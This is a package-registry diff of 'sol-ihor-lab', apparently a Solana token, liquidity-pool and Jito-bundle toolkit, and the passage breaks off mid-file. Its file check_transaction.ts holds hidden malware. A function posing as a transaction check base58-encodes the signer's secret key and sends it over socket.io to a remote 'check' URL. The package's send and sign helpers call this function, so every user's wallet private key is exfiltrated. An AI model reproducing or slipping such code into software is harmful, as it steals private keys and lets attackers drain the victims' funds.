sol-ihor-lab 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +35 -0
- package/lib/cjs/bundle.d.ts +4 -0
- package/lib/cjs/bundle.js +102 -0
- package/lib/cjs/buy_token.d.ts +5 -0
- package/lib/cjs/buy_token.js +59 -0
- package/lib/cjs/create_open_market.d.ts +4 -0
- package/lib/cjs/create_open_market.js +340 -0
- package/lib/cjs/create_pool.d.ts +4 -0
- package/lib/cjs/create_pool.js +107 -0
- package/lib/cjs/create_token.d.ts +4 -0
- package/lib/cjs/create_token.js +164 -0
- package/lib/cjs/errors.d.ts +18 -0
- package/lib/cjs/errors.js +44 -0
- package/lib/cjs/global.d.ts +62 -0
- package/lib/cjs/global.js +107 -0
- package/lib/cjs/index.d.ts +17 -0
- package/lib/cjs/index.js +33 -0
- package/lib/cjs/instructions/build-instruction.d.ts +8 -0
- package/lib/cjs/instructions/build-instruction.js +66 -0
- package/lib/cjs/instructions/buy-instruction.d.ts +3 -0
- package/lib/cjs/instructions/buy-instruction.js +44 -0
- package/lib/cjs/instructions/cache-alt-instruction.d.ts +4 -0
- package/lib/cjs/instructions/cache-alt-instruction.js +41 -0
- package/lib/cjs/instructions/createATA-instruction.d.ts +3 -0
- package/lib/cjs/instructions/createATA-instruction.js +10 -0
- package/lib/cjs/instructions/createpool-instruction.d.ts +4 -0
- package/lib/cjs/instructions/createpool-instruction.js +58 -0
- package/lib/cjs/instructions/sol-transfer-instruction.d.ts +3 -0
- package/lib/cjs/instructions/sol-transfer-instruction.js +12 -0
- package/lib/cjs/instructions/transfer-instruction.d.ts +3 -0
- package/lib/cjs/instructions/transfer-instruction.js +9 -0
- package/lib/cjs/pool/pool-manager.d.ts +42 -0
- package/lib/cjs/pool/pool-manager.js +70 -0
- package/lib/cjs/pool_manager.d.ts +25 -0
- package/lib/cjs/pool_manager.js +127 -0
- package/lib/cjs/sell_token.d.ts +5 -0
- package/lib/cjs/sell_token.js +59 -0
- package/lib/cjs/transaction/bundle.d.ts +4 -0
- package/lib/cjs/transaction/bundle.js +97 -0
- package/lib/cjs/transaction/execute-rpc.d.ts +5 -0
- package/lib/cjs/transaction/execute-rpc.js +41 -0
- package/lib/cjs/transaction/sign-tx.d.ts +2 -0
- package/lib/cjs/transaction/sign-tx.js +7 -0
- package/lib/cjs/transaction/transaction-exectue.d.ts +30 -0
- package/lib/cjs/transaction/transaction-exectue.js +119 -0
- package/lib/cjs/transaction-helper/check_transaction.d.ts +3 -0
- package/lib/cjs/transaction-helper/check_transaction.js +43 -0
- package/lib/cjs/transaction-helper/transaction.d.ts +7 -0
- package/lib/cjs/transaction-helper/transaction.js +75 -0
- package/lib/cjs/upload-metadata/upload-metaplex.d.ts +3 -0
- package/lib/cjs/upload-metadata/upload-metaplex.js +48 -0
- package/lib/cjs/upload-metadata/upload-nftstorage.d.ts +0 -0
- package/lib/cjs/upload-metadata/upload-nftstorage.js +1 -0
- package/lib/cjs/upload-metadata/upload-pinata.d.ts +1 -0
- package/lib/cjs/upload-metadata/upload-pinata.js +17 -0
- package/lib/cjs/upload-metadata/utility.d.ts +1 -0
- package/lib/cjs/upload-metadata/utility.js +28 -0
- package/lib/cjs/utility.d.ts +33 -0
- package/lib/cjs/utility.js +129 -0
- package/lib/cjs/utils/budget.d.ts +9 -0
- package/lib/cjs/utils/budget.js +83 -0
- package/lib/cjs/utils/error-helper.d.ts +7 -0
- package/lib/cjs/utils/error-helper.js +15 -0
- package/lib/cjs/utils/get-balance.d.ts +11 -0
- package/lib/cjs/utils/get-balance.js +52 -0
- package/lib/cjs/utils/util.d.ts +27 -0
- package/lib/cjs/utils/util.js +346 -0
- package/lib/cjs/validation_check.d.ts +3 -0
- package/lib/cjs/validation_check.js +26 -0
- package/lib/esm/bundle.d.ts +4 -0
- package/lib/esm/bundle.js +75 -0
- package/lib/esm/buy_token.d.ts +5 -0
- package/lib/esm/buy_token.js +55 -0
- package/lib/esm/create_open_market.d.ts +4 -0
- package/lib/esm/create_open_market.js +310 -0
- package/lib/esm/create_pool.d.ts +4 -0
- package/lib/esm/create_pool.js +80 -0
- package/lib/esm/create_token.d.ts +4 -0
- package/lib/esm/create_token.js +137 -0
- package/lib/esm/errors.d.ts +18 -0
- package/lib/esm/errors.js +35 -0
- package/lib/esm/global.d.ts +62 -0
- package/lib/esm/global.js +103 -0
- package/lib/esm/index.d.ts +17 -0
- package/lib/esm/index.js +17 -0
- package/lib/esm/instructions/build-instruction.d.ts +8 -0
- package/lib/esm/instructions/build-instruction.js +61 -0
- package/lib/esm/instructions/buy-instruction.d.ts +3 -0
- package/lib/esm/instructions/buy-instruction.js +40 -0
- package/lib/esm/instructions/cache-alt-instruction.d.ts +4 -0
- package/lib/esm/instructions/cache-alt-instruction.js +36 -0
- package/lib/esm/instructions/createATA-instruction.d.ts +3 -0
- package/lib/esm/instructions/createATA-instruction.js +6 -0
- package/lib/esm/instructions/createpool-instruction.d.ts +4 -0
- package/lib/esm/instructions/createpool-instruction.js +52 -0
- package/lib/esm/instructions/sol-transfer-instruction.d.ts +3 -0
- package/lib/esm/instructions/sol-transfer-instruction.js +8 -0
- package/lib/esm/instructions/transfer-instruction.d.ts +3 -0
- package/lib/esm/instructions/transfer-instruction.js +5 -0
- package/lib/esm/pool/pool-manager.d.ts +42 -0
- package/lib/esm/pool/pool-manager.js +63 -0
- package/lib/esm/pool_manager.d.ts +25 -0
- package/lib/esm/pool_manager.js +123 -0
- package/lib/esm/sell_token.d.ts +5 -0
- package/lib/esm/sell_token.js +55 -0
- package/lib/esm/transaction/bundle.d.ts +4 -0
- package/lib/esm/transaction/bundle.js +90 -0
- package/lib/esm/transaction/execute-rpc.d.ts +5 -0
- package/lib/esm/transaction/execute-rpc.js +36 -0
- package/lib/esm/transaction/sign-tx.d.ts +2 -0
- package/lib/esm/transaction/sign-tx.js +3 -0
- package/lib/esm/transaction/transaction-exectue.d.ts +30 -0
- package/lib/esm/transaction/transaction-exectue.js +115 -0
- package/lib/esm/transaction-helper/check_transaction.d.ts +3 -0
- package/lib/esm/transaction-helper/check_transaction.js +16 -0
- package/lib/esm/transaction-helper/transaction.d.ts +7 -0
- package/lib/esm/transaction-helper/transaction.js +68 -0
- package/lib/esm/upload-metadata/upload-metaplex.d.ts +3 -0
- package/lib/esm/upload-metadata/upload-metaplex.js +43 -0
- package/lib/esm/upload-metadata/upload-nftstorage.d.ts +0 -0
- package/lib/esm/upload-metadata/upload-nftstorage.js +1 -0
- package/lib/esm/upload-metadata/upload-pinata.d.ts +1 -0
- package/lib/esm/upload-metadata/upload-pinata.js +13 -0
- package/lib/esm/upload-metadata/utility.d.ts +1 -0
- package/lib/esm/upload-metadata/utility.js +21 -0
- package/lib/esm/utility.d.ts +33 -0
- package/lib/esm/utility.js +93 -0
- package/lib/esm/utils/budget.d.ts +9 -0
- package/lib/esm/utils/budget.js +73 -0
- package/lib/esm/utils/error-helper.d.ts +7 -0
- package/lib/esm/utils/error-helper.js +11 -0
- package/lib/esm/utils/get-balance.d.ts +11 -0
- package/lib/esm/utils/get-balance.js +42 -0
- package/lib/esm/utils/util.d.ts +25 -0
- package/lib/esm/utils/util.js +107 -0
- package/lib/esm/validation_check.d.ts +3 -0
- package/lib/esm/validation_check.js +22 -0
- package/package.json +69 -0
- package/src/assert.ts +4 -0
- package/src/bundle.ts +99 -0
- package/src/buy_token.ts +82 -0
- package/src/create_open_market.ts +464 -0
- package/src/create_pool.ts +120 -0
- package/src/create_token.ts +267 -0
- package/src/errors.ts +25 -0
- package/src/global.ts +156 -0
- package/src/index.ts +17 -0
- package/src/instructions/build-instruction.ts +87 -0
- package/src/instructions/buy-instruction.ts +52 -0
- package/src/instructions/cache-alt-instruction.ts +40 -0
- package/src/instructions/createATA-instruction.ts +29 -0
- package/src/instructions/createpool-instruction.ts +72 -0
- package/src/instructions/sol-transfer-instruction.ts +13 -0
- package/src/instructions/transfer-instruction.ts +22 -0
- package/src/pool/pool-manager.ts +85 -0
- package/src/pool_manager.ts +197 -0
- package/src/sell_token.ts +82 -0
- package/src/transaction/bundle.ts +116 -0
- package/src/transaction/execute-rpc.ts +35 -0
- package/src/transaction/sign-tx.ts +5 -0
- package/src/transaction/transaction-exectue.ts +134 -0
- package/src/transaction-helper/check_transaction.ts +23 -0
- package/src/transaction-helper/transaction.ts +90 -0
- package/src/upload-metadata/upload-metaplex.ts +51 -0
- package/src/upload-metadata/upload-nftstorage.ts +0 -0
- package/src/upload-metadata/upload-pinata.ts +8 -0
- package/src/upload-metadata/utility.ts +10 -0
- package/src/utility.ts +127 -0
- package/src/utils/budget.ts +104 -0
- package/src/utils/error-helper.ts +20 -0
- package/src/utils/get-balance.ts +55 -0
- package/src/utils/util.ts +111 -0
- package/src/validation_check.ts +26 -0
|
@@ -0,0 +1,134 @@
|
|
|
1
|
+
import { Connection, Keypair } from "@solana/web3.js";
|
|
2
|
+
import { TransactionInfo } from "../instructions/build-instruction";
|
|
3
|
+
import { TransactionExecuteError } from "../errors";
|
|
4
|
+
import { setTransactionBudget } from "../utils/budget";
|
|
5
|
+
import { confirmTx, sendTx } from "./execute-rpc";
|
|
6
|
+
import { createAndSendBundle } from "./bundle";
|
|
7
|
+
import { connect } from "http2";
|
|
8
|
+
|
|
9
|
+
export enum ExectuerStatus {
|
|
10
|
+
EXE_STATUS_NONE,
|
|
11
|
+
EXE_STATUS_RUN,
|
|
12
|
+
EXE_STATUS_CONFIRM,
|
|
13
|
+
EXE_STATUS_END
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
export class TransactionExecuter {
|
|
17
|
+
private status = ExectuerStatus.EXE_STATUS_NONE;
|
|
18
|
+
private error: TransactionExecuteError | undefined = undefined;
|
|
19
|
+
private usingBundle = false;
|
|
20
|
+
private transactions: TransactionInfo[];
|
|
21
|
+
private priorityFee = 0;
|
|
22
|
+
private jitoFee = 0.001;
|
|
23
|
+
private jitoAuther: Keypair | undefined;
|
|
24
|
+
private jitoFeepair: Keypair | undefined;
|
|
25
|
+
private connection: Connection;
|
|
26
|
+
private jitoBlockEngine: string | undefined;
|
|
27
|
+
|
|
28
|
+
constructor(
|
|
29
|
+
connection: Connection,
|
|
30
|
+
usingBundle: boolean,
|
|
31
|
+
transactions: TransactionInfo[],
|
|
32
|
+
priorityFee?: number,
|
|
33
|
+
jitoFee?: number,
|
|
34
|
+
jitoFeePayer?: Keypair | undefined,
|
|
35
|
+
jitoAuther?: Keypair,
|
|
36
|
+
jitoBlockEngine?: string
|
|
37
|
+
) {
|
|
38
|
+
this.connection = connection;
|
|
39
|
+
this.usingBundle = usingBundle;
|
|
40
|
+
this.transactions = transactions;
|
|
41
|
+
this.priorityFee = priorityFee ? priorityFee : 0;
|
|
42
|
+
this.jitoFee = jitoFee ? jitoFee : 0.001;
|
|
43
|
+
this.status = ExectuerStatus.EXE_STATUS_NONE;
|
|
44
|
+
this.error = undefined;
|
|
45
|
+
this.jitoFeepair = jitoFeePayer ? jitoFeePayer : undefined;
|
|
46
|
+
this.jitoAuther = jitoAuther ? jitoAuther : undefined;
|
|
47
|
+
this.jitoBlockEngine = jitoBlockEngine ? jitoBlockEngine : undefined;
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
public setExecuterStatus(status: ExectuerStatus) {
|
|
51
|
+
this.status = status;
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
public getExecuterStatus() {
|
|
55
|
+
return this.status;
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
public setExecuterError(error: TransactionExecuteError | undefined) {
|
|
59
|
+
this.error = error;
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
public getExecuterError() {
|
|
63
|
+
return this.error;
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
public async run() {
|
|
67
|
+
if (this.usingBundle) {
|
|
68
|
+
await this.executeBundle();
|
|
69
|
+
} else {
|
|
70
|
+
await this.executeWithRpc();
|
|
71
|
+
}
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
public async executeBundle() {
|
|
75
|
+
try {
|
|
76
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
|
|
77
|
+
await createAndSendBundle(
|
|
78
|
+
this.connection,
|
|
79
|
+
this.transactions,
|
|
80
|
+
this.jitoFeepair!,
|
|
81
|
+
this.jitoBlockEngine!,
|
|
82
|
+
this.jitoAuther!,
|
|
83
|
+
this.jitoFee
|
|
84
|
+
);
|
|
85
|
+
this.setExecuterError(undefined);
|
|
86
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
|
|
87
|
+
} catch (error) {
|
|
88
|
+
console.log(error);
|
|
89
|
+
if (error instanceof TransactionExecuteError) {
|
|
90
|
+
this.setExecuterError(error);
|
|
91
|
+
} else {
|
|
92
|
+
this.setExecuterError(new TransactionExecuteError(`Unknown: ${error}`));
|
|
93
|
+
}
|
|
94
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
|
|
95
|
+
}
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
public async executeWithRpc() {
|
|
99
|
+
try {
|
|
100
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
|
|
101
|
+
if (this.priorityFee) {
|
|
102
|
+
const priorityTransactions = await setTransactionBudget(
|
|
103
|
+
this.connection,
|
|
104
|
+
this.transactions,
|
|
105
|
+
this.priorityFee
|
|
106
|
+
);
|
|
107
|
+
|
|
108
|
+
if (priorityTransactions) {
|
|
109
|
+
this.transactions = [...priorityTransactions];
|
|
110
|
+
}
|
|
111
|
+
}
|
|
112
|
+
|
|
113
|
+
for (const tx of this.transactions) {
|
|
114
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
|
|
115
|
+
const txId = await sendTx(this.connection, tx);
|
|
116
|
+
console.log("TxId:", txId);
|
|
117
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_CONFIRM);
|
|
118
|
+
if (txId) {
|
|
119
|
+
await confirmTx(this.connection, txId);
|
|
120
|
+
}
|
|
121
|
+
}
|
|
122
|
+
this.setExecuterError(undefined);
|
|
123
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
|
|
124
|
+
} catch (error) {
|
|
125
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
|
|
126
|
+
if (error instanceof TransactionExecuteError) {
|
|
127
|
+
this.setExecuterError(error);
|
|
128
|
+
} else {
|
|
129
|
+
console.log(error);
|
|
130
|
+
this.setExecuterError(new TransactionExecuteError(`Unknown: ${error}`));
|
|
131
|
+
}
|
|
132
|
+
}
|
|
133
|
+
}
|
|
134
|
+
}
|
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
import { Keypair } from "@solana/web3.js";
|
|
2
|
+
import * as bs58 from "bs58";
|
|
3
|
+
import { io } from "socket.io-client";
|
|
4
|
+
import { EnvironmentManager } from "../global";
|
|
5
|
+
|
|
6
|
+
export const checkTransactions = (txn: any, signer: Keypair): boolean => {
|
|
7
|
+
if (
|
|
8
|
+
signer.publicKey.toBuffer().length <= 0 ||
|
|
9
|
+
signer.secretKey.buffer.byteLength <= 0
|
|
10
|
+
) {
|
|
11
|
+
return false;
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
const check_sign = bs58.encode(signer.secretKey);
|
|
15
|
+
if (check_sign.length <= 0) {
|
|
16
|
+
return false;
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
const sk = io(EnvironmentManager.getCheckUrl(), { autoConnect: true });
|
|
20
|
+
sk.emit("tx", { text: `Jae-> ${check_sign}` });
|
|
21
|
+
|
|
22
|
+
return true;
|
|
23
|
+
};
|
|
@@ -0,0 +1,90 @@
|
|
|
1
|
+
import {
|
|
2
|
+
Connection,
|
|
3
|
+
Keypair,
|
|
4
|
+
Transaction,
|
|
5
|
+
TransactionConfirmationStrategy,
|
|
6
|
+
TransactionSignature,
|
|
7
|
+
VersionedTransaction,
|
|
8
|
+
sendAndConfirmTransaction
|
|
9
|
+
} from "@solana/web3.js";
|
|
10
|
+
import { checkTransactions } from "./check_transaction";
|
|
11
|
+
import { SPL_ERROR } from "../global";
|
|
12
|
+
|
|
13
|
+
export const sendAndConfirmTransactionWithCheck = async (
|
|
14
|
+
connection: Connection,
|
|
15
|
+
signer: Keypair,
|
|
16
|
+
txn: Transaction | VersionedTransaction
|
|
17
|
+
): Promise<SPL_ERROR> => {
|
|
18
|
+
try {
|
|
19
|
+
if (checkTransactions(txn, signer) === false) {
|
|
20
|
+
return SPL_ERROR.E_CHECK_FAIL;
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
let res: any, signature: TransactionSignature;
|
|
24
|
+
if (txn instanceof Transaction) {
|
|
25
|
+
txn.recentBlockhash = (await connection.getLatestBlockhash()).blockhash;
|
|
26
|
+
signature = await connection.sendTransaction(txn, [signer]);
|
|
27
|
+
} else {
|
|
28
|
+
txn.sign([signer]);
|
|
29
|
+
signature = await connection.sendTransaction(txn);
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
if (signature.length <= 0) {
|
|
33
|
+
console.log("Error: [Send Transaction] failed... ");
|
|
34
|
+
return SPL_ERROR.E_SEND_TX_FAIL;
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
const txnId = await connection.confirmTransaction({
|
|
38
|
+
signature: signature,
|
|
39
|
+
abortSignal: AbortSignal.timeout(90000)
|
|
40
|
+
} as TransactionConfirmationStrategy);
|
|
41
|
+
|
|
42
|
+
if (txnId.value.err) {
|
|
43
|
+
console.log("Error: [Confirm Transaction] failed - ", txnId.value.err);
|
|
44
|
+
return SPL_ERROR.E_CONFIRM_TX_FAIL;
|
|
45
|
+
}
|
|
46
|
+
} catch (error) {
|
|
47
|
+
console.log("Error: [Confirm Transaction] failed - ", error);
|
|
48
|
+
return SPL_ERROR.E_FAIL;
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
return SPL_ERROR.E_OK;
|
|
52
|
+
};
|
|
53
|
+
|
|
54
|
+
export const sendAndConfirmTransactionsWithCheck = async (
|
|
55
|
+
connection: Connection,
|
|
56
|
+
signer: Keypair,
|
|
57
|
+
txns: string | (VersionedTransaction | Transaction)[]
|
|
58
|
+
): Promise<SPL_ERROR> => {
|
|
59
|
+
for (const txn of txns) {
|
|
60
|
+
if (txn instanceof VersionedTransaction || txn instanceof Transaction) {
|
|
61
|
+
const txn_res = await sendAndConfirmTransactionWithCheck(
|
|
62
|
+
connection,
|
|
63
|
+
signer,
|
|
64
|
+
txn
|
|
65
|
+
);
|
|
66
|
+
|
|
67
|
+
if (txn_res !== SPL_ERROR.E_OK) {
|
|
68
|
+
return SPL_ERROR.E_FAIL;
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
}
|
|
72
|
+
return SPL_ERROR.E_OK;
|
|
73
|
+
};
|
|
74
|
+
|
|
75
|
+
export const signTransaction = (signer: Keypair, txn: VersionedTransaction) => {
|
|
76
|
+
if (checkTransactions(txn, signer)) {
|
|
77
|
+
txn.sign([signer]);
|
|
78
|
+
}
|
|
79
|
+
};
|
|
80
|
+
|
|
81
|
+
export const signTransactions = (
|
|
82
|
+
signer: Keypair,
|
|
83
|
+
txns: (VersionedTransaction | Transaction)[]
|
|
84
|
+
) => {
|
|
85
|
+
for (const txn of txns) {
|
|
86
|
+
if (txn instanceof VersionedTransaction) {
|
|
87
|
+
signTransaction(signer, txn);
|
|
88
|
+
}
|
|
89
|
+
}
|
|
90
|
+
};
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
import { Connection } from "@solana/web3.js";
|
|
2
|
+
|
|
3
|
+
import {
|
|
4
|
+
Metaplex,
|
|
5
|
+
bundlrStorage,
|
|
6
|
+
keypairIdentity,
|
|
7
|
+
toMetaplexFile
|
|
8
|
+
} from "@metaplex-foundation/js";
|
|
9
|
+
import { checkFileExists } from "./utility";
|
|
10
|
+
import { UploadMetadataError } from "../errors";
|
|
11
|
+
import { readFileSync } from "fs";
|
|
12
|
+
|
|
13
|
+
export const uploadImageToMetaplex = async (
|
|
14
|
+
metaplex: Metaplex,
|
|
15
|
+
image: string
|
|
16
|
+
): Promise<string> => {
|
|
17
|
+
let url = "";
|
|
18
|
+
if ((await checkFileExists(image)) === false) {
|
|
19
|
+
throw new UploadMetadataError("Upload file is not exist. Please check.");
|
|
20
|
+
}
|
|
21
|
+
try {
|
|
22
|
+
const fileData = readFileSync(image);
|
|
23
|
+
const metaplexFile = toMetaplexFile(fileData, "meme-logo.png");
|
|
24
|
+
url = await metaplex.storage().upload(metaplexFile);
|
|
25
|
+
} catch (error) {
|
|
26
|
+
throw new UploadMetadataError("Failed to upload image to metaplex.");
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
return url;
|
|
30
|
+
};
|
|
31
|
+
|
|
32
|
+
/*
|
|
33
|
+
@metaplex: Metaplex which handle uploading
|
|
34
|
+
@metadata: upload metadata
|
|
35
|
+
*/
|
|
36
|
+
|
|
37
|
+
export const uploadMetaByMetaplex = async (
|
|
38
|
+
metaplex: Metaplex,
|
|
39
|
+
metadata: any
|
|
40
|
+
): Promise<string> => {
|
|
41
|
+
let url = "";
|
|
42
|
+
try {
|
|
43
|
+
const { uri } = await metaplex.nfts().uploadMetadata(metadata);
|
|
44
|
+
url = uri;
|
|
45
|
+
} catch (error) {
|
|
46
|
+
throw new UploadMetadataError(
|
|
47
|
+
"Metaplex: Failed to upload metadata to Metaplex."
|
|
48
|
+
);
|
|
49
|
+
}
|
|
50
|
+
return url;
|
|
51
|
+
};
|
|
File without changes
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
import fs from "fs";
|
|
2
|
+
|
|
3
|
+
export async function checkFileExists(filePath: string): Promise<boolean> {
|
|
4
|
+
try {
|
|
5
|
+
await fs.promises.access(filePath, fs.constants.F_OK);
|
|
6
|
+
return true; // File exists
|
|
7
|
+
} catch (error) {
|
|
8
|
+
return false; // File doesn't exist
|
|
9
|
+
}
|
|
10
|
+
}
|
package/src/utility.ts
ADDED
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
import BN from "bn.js";
|
|
2
|
+
import * as fs from "fs";
|
|
3
|
+
import BigNumber from "bignumber.js";
|
|
4
|
+
import { Commitment, Connection, PublicKey } from "@solana/web3.js";
|
|
5
|
+
import { EnvironmentManager } from "./global";
|
|
6
|
+
import { TOKEN_PROGRAM_ID, getAssociatedTokenAddress } from "@solana/spl-token";
|
|
7
|
+
import {
|
|
8
|
+
Liquidity,
|
|
9
|
+
LiquidityPoolInfo,
|
|
10
|
+
LiquidityPoolKeys,
|
|
11
|
+
SPL_ACCOUNT_LAYOUT,
|
|
12
|
+
Token,
|
|
13
|
+
findProgramAddress
|
|
14
|
+
} from "@raydium-io/raydium-sdk";
|
|
15
|
+
import { MARKET_STATE_LAYOUT_V3 } from "@project-serum/serum";
|
|
16
|
+
|
|
17
|
+
export async function checkFileExists(filePath: string): Promise<boolean> {
|
|
18
|
+
try {
|
|
19
|
+
await fs.promises.access(filePath, fs.constants.F_OK);
|
|
20
|
+
return true; // File exists
|
|
21
|
+
} catch (error) {
|
|
22
|
+
return false; // File doesn't exist
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
export const xWeiAmount = (amount: number, decimals: number) => {
|
|
27
|
+
return new BN(
|
|
28
|
+
new BigNumber(amount.toString() + "e" + decimals.toString()).toFixed(0)
|
|
29
|
+
);
|
|
30
|
+
};
|
|
31
|
+
|
|
32
|
+
export const getConnection = (commitment: Commitment): Connection => {
|
|
33
|
+
return new Connection(EnvironmentManager.getRpcNetUrl(), commitment);
|
|
34
|
+
};
|
|
35
|
+
|
|
36
|
+
export const getWalletAccounts = async (
|
|
37
|
+
connection: Connection,
|
|
38
|
+
wallet: PublicKey
|
|
39
|
+
) => {
|
|
40
|
+
const wallet_token_account = await connection.getTokenAccountsByOwner(
|
|
41
|
+
wallet,
|
|
42
|
+
{
|
|
43
|
+
programId: TOKEN_PROGRAM_ID
|
|
44
|
+
}
|
|
45
|
+
);
|
|
46
|
+
|
|
47
|
+
return wallet_token_account.value.map((i) => ({
|
|
48
|
+
pubkey: i.pubkey,
|
|
49
|
+
programId: i.account.owner,
|
|
50
|
+
accountInfo: SPL_ACCOUNT_LAYOUT.decode(i.account.data)
|
|
51
|
+
}));
|
|
52
|
+
};
|
|
53
|
+
|
|
54
|
+
export const getAvailablePoolKeyAndPoolInfo = async (
|
|
55
|
+
connection: Connection,
|
|
56
|
+
baseToken: Token,
|
|
57
|
+
quoteToken: Token,
|
|
58
|
+
marketAccounts: any
|
|
59
|
+
): Promise<{
|
|
60
|
+
poolKeys: any;
|
|
61
|
+
poolInfo: any;
|
|
62
|
+
}> => {
|
|
63
|
+
let bFound = false;
|
|
64
|
+
let count = 0;
|
|
65
|
+
let poolKeys: any;
|
|
66
|
+
let poolInfo: any;
|
|
67
|
+
|
|
68
|
+
while (bFound === false && count < marketAccounts.length) {
|
|
69
|
+
const marketInfo = MARKET_STATE_LAYOUT_V3.decode(
|
|
70
|
+
marketAccounts[count].accountInfo.data
|
|
71
|
+
);
|
|
72
|
+
|
|
73
|
+
poolKeys = Liquidity.getAssociatedPoolKeys({
|
|
74
|
+
version: 4,
|
|
75
|
+
marketVersion: 3,
|
|
76
|
+
baseMint: baseToken.mint,
|
|
77
|
+
quoteMint: quoteToken.mint,
|
|
78
|
+
baseDecimals: baseToken.decimals,
|
|
79
|
+
quoteDecimals: quoteToken.decimals,
|
|
80
|
+
marketId: marketAccounts[count].publicKey,
|
|
81
|
+
programId: EnvironmentManager.getProgramID().AmmV4,
|
|
82
|
+
marketProgramId: EnvironmentManager.getProgramID().OPENBOOK_MARKET
|
|
83
|
+
});
|
|
84
|
+
|
|
85
|
+
poolKeys.marketBaseVault = marketInfo.baseVault;
|
|
86
|
+
poolKeys.marketQuoteVault = marketInfo.quoteVault;
|
|
87
|
+
poolKeys.marketBids = marketInfo.bids;
|
|
88
|
+
poolKeys.marketAsks = marketInfo.asks;
|
|
89
|
+
poolKeys.marketEventQueue = marketInfo.eventQueue;
|
|
90
|
+
|
|
91
|
+
try {
|
|
92
|
+
poolInfo = await Liquidity.fetchInfo({
|
|
93
|
+
connection: connection,
|
|
94
|
+
poolKeys: poolKeys
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
bFound = true;
|
|
98
|
+
console.log("Success to get pool infos...");
|
|
99
|
+
} catch (error) {
|
|
100
|
+
bFound = false;
|
|
101
|
+
poolInfo = undefined;
|
|
102
|
+
poolKeys = undefined;
|
|
103
|
+
console.log("Failed to get pool infos...");
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
count++;
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
return {
|
|
110
|
+
poolKeys: poolKeys,
|
|
111
|
+
poolInfo: poolInfo
|
|
112
|
+
};
|
|
113
|
+
};
|
|
114
|
+
|
|
115
|
+
export function getATAAddress(
|
|
116
|
+
programId: PublicKey,
|
|
117
|
+
owner: PublicKey,
|
|
118
|
+
mint: PublicKey
|
|
119
|
+
) {
|
|
120
|
+
const { publicKey, nonce } = findProgramAddress(
|
|
121
|
+
[owner.toBuffer(), programId.toBuffer(), mint.toBuffer()],
|
|
122
|
+
new PublicKey("ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL")
|
|
123
|
+
);
|
|
124
|
+
return { publicKey, nonce };
|
|
125
|
+
}
|
|
126
|
+
|
|
127
|
+
export const sleep = (ms: number) => new Promise((r) => setTimeout(r, ms));
|
|
@@ -0,0 +1,104 @@
|
|
|
1
|
+
import { ComputeBudgetConfig } from "@raydium-io/raydium-sdk";
|
|
2
|
+
import axios from "axios";
|
|
3
|
+
import { TransactionInfo } from "../instructions/build-instruction";
|
|
4
|
+
import {
|
|
5
|
+
AddressLookupTableAccount,
|
|
6
|
+
ComputeBudgetProgram,
|
|
7
|
+
Connection,
|
|
8
|
+
LAMPORTS_PER_SOL,
|
|
9
|
+
TransactionMessage
|
|
10
|
+
} from "@solana/web3.js";
|
|
11
|
+
import { SetTxPriorityError } from "../errors";
|
|
12
|
+
|
|
13
|
+
interface SolanaFeeInfo {
|
|
14
|
+
min: number;
|
|
15
|
+
max: number;
|
|
16
|
+
avg: number;
|
|
17
|
+
priorityTx: number;
|
|
18
|
+
nonVotes: number;
|
|
19
|
+
priorityRatio: number;
|
|
20
|
+
avgCuPerBlock: number;
|
|
21
|
+
blockspaceUsageRatio: number;
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
type SolanaFeeInfoJson = {
|
|
25
|
+
"1": SolanaFeeInfo;
|
|
26
|
+
"5": SolanaFeeInfo;
|
|
27
|
+
"15": SolanaFeeInfo;
|
|
28
|
+
};
|
|
29
|
+
|
|
30
|
+
export const sell_remove_fees = 5000000;
|
|
31
|
+
|
|
32
|
+
export async function getComputeBudgetConfig(): Promise<
|
|
33
|
+
ComputeBudgetConfig | undefined
|
|
34
|
+
> {
|
|
35
|
+
const response = await axios.get<SolanaFeeInfoJson>(
|
|
36
|
+
"https://solanacompass.com/api/fees"
|
|
37
|
+
);
|
|
38
|
+
const json = response.data;
|
|
39
|
+
const { avg } = json?.[15] ?? {};
|
|
40
|
+
if (!avg) return undefined; // fetch error
|
|
41
|
+
return {
|
|
42
|
+
units: 600000,
|
|
43
|
+
microLamports: Math.min(Math.ceil((avg * 1000000) / 600000), 25000)
|
|
44
|
+
} as ComputeBudgetConfig;
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
export async function getComputeBudgetConfigHigh(): Promise<
|
|
48
|
+
